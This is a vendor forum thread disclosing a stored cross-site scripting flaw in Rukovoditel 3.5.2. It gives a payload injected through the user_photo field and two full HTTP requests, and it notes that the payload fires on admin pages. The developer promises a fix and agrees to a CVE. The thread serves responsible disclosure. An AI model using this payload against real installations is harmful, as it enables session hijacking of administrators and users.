stored XSS (Cross-site scripting) vulnerability

Any critical bugs will be fixed within 24-48 hours.
Post Reply
Toxi4
Posts: 6
Joined: 08 Apr 2024, 14:31
Name: Anton Kartunov
Location: Russia

stored XSS (Cross-site scripting) vulnerability

Post by Toxi4 »

Hey!

I found an xss vulnerability in the latest version of your application.
The vulnerability is in the user_photo parameter and can be inserted in several places.

Payload: "><img src=a onerror=alert(document.cookie)>

1. Editing the personal page "My Page"

Code: Select all

POST /index.php?module=users/account&action=update&token=mzjjjrOgze HTTP/1.1
Host: 192.168.0.15
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: multipart/form-data; boundary=---------------------------304983279014015673452478204380
Cookie: [Cookie]

-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="form_session_token"

mzjjjrOgze
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="fields[7]"

user
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="fields[8]"

user
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="user_photo"

user_2_1712564921.jpeg"><img src=a onerror=alert(document.cookie)>
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="delete_user_photo"

0
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="fields[9]"

user@user.com
-----------------------------304983279014015673452478204380
Content-Disposition: form-data; name="fields[13]"

english.php
-----------------------------304983279014015673452478204380--
It will triggerd on the personal account page:
/index.php?module=users/account
;
And when on the all users page, at the admin panel:
/index.php?module=items/items&path=1
XSS.png
XSS.png
2. If the registration mechanism is enabled, then you can insert a payload in the same parameter

Code: Select all

POST /index.php?module=users/registration&action=save HTTP/1.1
Host: 192.168.0.15
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Content-Type: multipart/form-data; boundary=---------------------------23053781821106606461863123342
Cookie: [Cookie]

-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="form_session_token"

Hz7oBzXORq
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[12]"

user2
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="password"

useruser
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[7]"

user2
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[8]"

user2
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="user_photo"

tmp_photo_1712573394_Hz7oBzXORq.png"><img src=a onerror=alert(document.cookie)>
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="delete_user_photo"

0
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[9]"

user2@user2.com
-----------------------------23053781821106606461863123342
Content-Disposition: form-data; name="fields[13]"

russian.php
-----------------------------23053781821106606461863123342--
It will be triggerd when admin goes to the page to confirm new users.
This vulnerability can lead to theft of administrative cookies or redirection to the attacker's website.

I have used Rukovoditel 3.5.2
Attachments
XSS1.png
User avatar
support
Site Admin
Posts: 6215
Joined: 19 Oct 2014, 18:22
Name: Sergey Kharchishin
Location: Russia, Evpatoriya

Re: stored XSS (Cross-site scripting) vulnerability

Post by support »

Thank you. Will be fixed in 3.5.3
Toxi4
Posts: 6
Joined: 08 Apr 2024, 14:31
Name: Anton Kartunov
Location: Russia

Re: stored XSS (Cross-site scripting) vulnerability

Post by Toxi4 »

Awesome! Can I register a CVE with this vulnerability? After you will fixing it.
User avatar
support
Site Admin
Posts: 6215
Joined: 19 Oct 2014, 18:22
Name: Sergey Kharchishin
Location: Russia, Evpatoriya

Re: stored XSS (Cross-site scripting) vulnerability

Post by support »

Yes
Post Reply